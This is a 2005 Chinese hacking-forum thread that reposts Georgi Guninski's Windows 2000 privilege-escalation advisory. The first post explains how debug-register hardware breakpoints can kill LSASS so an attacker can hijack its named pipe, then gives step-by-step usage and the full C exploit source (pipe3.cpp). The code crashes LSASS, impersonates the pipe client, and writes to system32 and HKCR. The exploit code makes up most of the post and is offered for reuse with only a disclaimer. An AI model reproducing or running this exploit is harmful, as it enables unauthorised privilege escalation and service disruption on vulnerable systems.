Board logo

标题: [转帖]Win2K 提升权限漏洞 [打印本页]

作者: chinanic    时间: 2005-5-13 02:03     标题: [转帖]Win2K 提升权限漏洞

 发现 WINDOWS 2K 存在漏洞。如果攻击者能在 WIN2K 中运行程序,利用此漏洞,他至少能取得对 C:\WINNT\SYSTEM32 和 HKCR 的写权。
  问题在于所有进程对 x86 debug registers DR0-7 都可访问。通过在一个进程中设置硬件断点,将能影响到其它进程和服务,例如中止该服务。攻击者然后再劫持该服务的信任命名管道。当其它服务向该命名管道写入时,便能伪装成服务了。
  例如用硬件断点杀死 pipe3.cpp LSASS.EXE ,然后劫持 \\.\pipe\lsass :
1) 观察是否存在漏洞:
  用 windbg 启动 debugging CALC.EXE ,设硬件断点于 ESP,再打开 taskmgr.exe 。如果你接到的不是 CALC.EXE 而是 Single Step exception 对话框或 BSOD ,那么,该系统存在此漏洞。
2) 利用 pipe3.cpp:
  pipe3.cpp 有两个参数 , 。先启动 pipe3,稍等片刻。预期结果是能得到 LSASS.EXE 的 exception ,然后它将会消亡,之后控制台会被锁住,机器被重启。在 c:\winnt\system32 中会创建一个文件,在 HKCR 会创建一个 KEY。如果 LSASS.EXE 没消亡,先停止 PIPE3,然后再重启它。如果利用不成功。便需要 MAGICESPINLSA 参数了,它是 LSASS.EXE 中的 ESP。如果你得到 BSOD,那么将需要进一步利用该参数或 Sleep()。
以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负
// Win2K elevation of privileges
// Written by Georgi Guninski http://www.guninski.com
// Kind of ugly but works
// Check the disclaimer and advisory at http://www.guninski.com/dr07.html
#define _WIN32_WINNT 0x0500
#include
#include
#include
// may need to change below
///////////////////////////////
DWORD lsasspid=224; // pid of LSASS.EXE
//DWORD lsasspid=236; // pid of LSASS.EXE
DWORD MAGICESPINLSA=0x0053ffa0; // ESP in LSASS.EXE - may need to change it
//////////////////////////////
char szPipe[64]="\\\\.\\pipe\\lsass";
HANDLE hProc = NULL;
PROCESS_INFORMATION pi;

volatile int lsadied = 0;
unsigned long __stdcall threadlock(void *v)
{  
Sleep(1000);
LockWorkStation();
return 0;
}
unsigned long __stdcall threadwriter(void *v)
{
while(!lsadied)
{
   FILE *f1;
f1=fopen("\\\\.\\pipe\\lsass","a");
if (f1 != NULL)
{
fprintf(f1,"A");
fclose(f1);
}
/*
else
printf("%s\n","error writing to pipe");
*/
Sleep(400);
}
printf("%s\n","Stop writing to pipe");
return 0;
}
unsigned long __stdcall waitlsadie(void *v)
{
int lsadied2=0;
long ( __stdcall *NtQuerySystemInformation )( ULONG, PVOID, ULONG, ULONG ) = NULL;
if ( !NtQuerySystemInformation )
    NtQuerySystemInformation = ( long ( __stdcall * )( ULONG, PVOID, ULONG,
ULONG ) ) GetProcAddress( GetModuleHandle( "ntdll.dll" ),"NtQuerySystemInformation" );
typedef struct _tagThreadInfo
{
     FILETIME ftCreationTime;
     DWORD dwUnknown1;
     DWORD dwStartAddress;
     DWORD dwOwningPID;
     DWORD dwThreadID;
     DWORD dwCurrentPriority;
     DWORD dwBasePriority;
     DWORD dwContextSwitches;
     DWORD dwThreadState;
       DWORD dwWaitReason;
     DWORD dwUnknown2[ 5 ];
} THREADINFO, *PTHREADINFO;
#pragma warning( disable:4200 )
typedef struct _tagProcessInfo
{
     DWORD dwOffset;
     DWORD dwThreadCount;
     DWORD dwUnknown1[ 6 ];
     FILETIME ftCreationTime;
     DWORD dwUnknown2[ 5 ];
     WCHAR* pszProcessName;
     DWORD dwBasePriority;
     DWORD dwProcessID;
     DWORD dwParentProcessID;
     DWORD dwHandleCount;
     DWORD dwUnknown3;
     DWORD dwUnknown4;
     DWORD dwVirtualBytesPeak;
     DWORD dwVirtualBytes;
     DWORD dwPageFaults;
     DWORD dwWorkingSetPeak;
     DWORD dwWorkingSet;
     DWORD dwUnknown5;
     DWORD dwPagedPool;
     DWORD dwUnknown6;
     DWORD dwNonPagedPool;
     DWORD dwPageFileBytesPeak;
     DWORD dwPrivateBytes;
     DWORD dwPageFileBytes;
     DWORD dwUnknown7[ 4 ];
     THREADINFO ti[ 0 ];
} _PROCESSINFO, *PPROCESSINFO;
#pragma warning( default:4200 )

PBYTE pbyInfo = NULL;
DWORD cInfoSize = 0x20000;
while(!lsadied2)
{
pbyInfo = ( PBYTE ) malloc( cInfoSize );
NtQuerySystemInformation( 5, pbyInfo, cInfoSize, 0 ) ;
PPROCESSINFO pProcessInfo = ( PPROCESSINFO ) pbyInfo;
bool bLast = false;
lsadied2 = 1;
do {
if ( pProcessInfo->dwOffset == 0 )
      bLast = true;
   if (pProcessInfo->dwProcessID == lsasspid)
lsadied2 = 0 ;
   pProcessInfo = ( PPROCESSINFO ) ( ( PBYTE ) pProcessInfo + pProcessInfo->dwOffset );
   } while( bLast == false );
free( pbyInfo );
}
printf("LSA died!\n");
lsadied=1;
return 0;
}

void add_thread(HANDLE thread)
{
CONTEXT ctx = {CONTEXT_DEBUG_REGISTERS};
//DR7=d0000540 DR6=ffff0ff0 DR3=53ffa0 DR2=0 DR1=0 DR0=0
   SuspendThread(thread);
   GetThreadContext(thread,&ctx);
ctx.Dr7=0xd0000540;
ctx.Dr6=0xffff0ff0;
ctx.Dr3=MAGICESPINLSA;
ctx.Dr2=0;
ctx.Dr1=0;
ctx.Dr0=0;
   SetThreadContext(thread, &ctx);
   ResumeThread(thread);
//   printf("DR7=%x DR6=%x DR3=%x DR2=%x DR1=%x DR0=%x\n",ctx.Dr7,ctx.Dr6,ctx.Dr3,ctx.Dr2,ctx.Dr1,ctx.Dr0);
}

unsigned long __stdcall threaddeb(void *v)
{
   STARTUPINFO si = {
     sizeof(STARTUPINFO)
   };

   CreateProcess(0,"c:\\winnt\\system32\\taskmgr.exe",0,0,0,
CREATE_NEW_CONSOLE,0,0,&si,&pi);
Sleep(2000);
   BOOL status = CreateProcess(
     0,
     "c:\\winnt\\system32\\calc.exe",
     0,0,0,
DEBUG_PROCESS
     | DEBUG_ONLY_THIS_PROCESS
     | CREATE_NEW_CONSOLE,
     0,0,&si,&pi);
   if( !status )
   {
printf("%s\n","error debugging");
exit(1);
   }
add_thread(pi.hThread);
   for( ;; )
   {
     DEBUG_EVENT de;
     if( !WaitForDebugEvent(&de, INFINITE) )
     {
printf("%s\n","error WaitForDebugEvent");
     }
     switch( de.dwDebugEventCode )
     {
     case CREATE_THREAD_DEBUG_EVENT:
        add_thread(de.u.CreateThread.hThread);
        break;
     }
   ContinueDebugEvent(de.dwProcessId,de.dwThreadId,DBG_CONTINUE);
}
return 0;
}
   int main(int argc,char* argv[])
   {
    DWORD dwType = REG_DWORD;
    DWORD dwSize = sizeof(DWORD);
DWORD dwNumber = 0;
    char szUser[256];
    HANDLE hPipe = 0;
if (argc > 1)
lsasspid=atoi(argv[1]);
if (argc > 2)
sscanf(argv[2],"%x",&MAGICESPINLSA);
printf("Fun with debug registers. Written by Georgi Guninski\n");
printf("vvdr started: lsasspid=%d breakp=%x\n",lsasspid,MAGICESPINLSA);
   CreateThread(0, 0, &threadwriter, NULL, 0, 0);
CreateThread(0, 0, &waitlsadie, NULL, 0, 0);
CreateThread(0, 0, &threaddeb, NULL, 0, 0);
while(!lsadied);
    printf("start %s\n",szPipe);
    hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
                     PIPE_TYPE_MESSAGE|PIPE_WAIT,
                     2, 0, 0, 0, NULL);
    if (hPipe == INVALID_HANDLE_VALUE)
    {
     printf ("Failed to create named pipe:\n %s\n", szPipe);
     return 3;
    }
CreateThread(0, 0, &threadlock, NULL, 0, 0);
ConnectNamedPipe (hPipe, NULL);
    if (!ReadFile (hPipe, (void *) &dwNumber, 4, &dwSize, NULL))
    {
     printf ("Failed to read the named pipe.\n");
     CloseHandle(hPipe);
     return 4;
    }
   if (!ImpersonateNamedPipeClient (hPipe))
    {
     printf ("Failed to impersonate the named pipe.\n");
     CloseHandle(hPipe);
     return 5;
    }
    dwSize = 256;
    GetUserName(szUser, &dwSize);
    printf ("Impersonating dummy :) : %s\n\n\n\n", szUser);
// the action begins
FILE *f1;
f1=fopen("c:\\winnt\\system32\\vv1.vv","a");
if (f1 != NULL)
{
fprintf(f1,"lsass worked\n");
fclose(f1);
printf("\n%s\n","Done!");
}
else
printf("error creating file");
fflush(stdout);
HKEY mykey;
RegCreateKey(HKEY_CLASSES_ROOT,"vv",&mykey);
RegCloseKey(mykey);

   CloseHandle(hPipe);
   return 0;
   }
受影响系统:
Win2K, Win2K SP1
Win2K SP2 未知
作者: 我是中国人    时间: 2005-5-18 18:09     标题: [转帖]Win2K 提升权限漏洞

看完帖子后心理很郁闷,不知何时才能学到活学活用。




欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2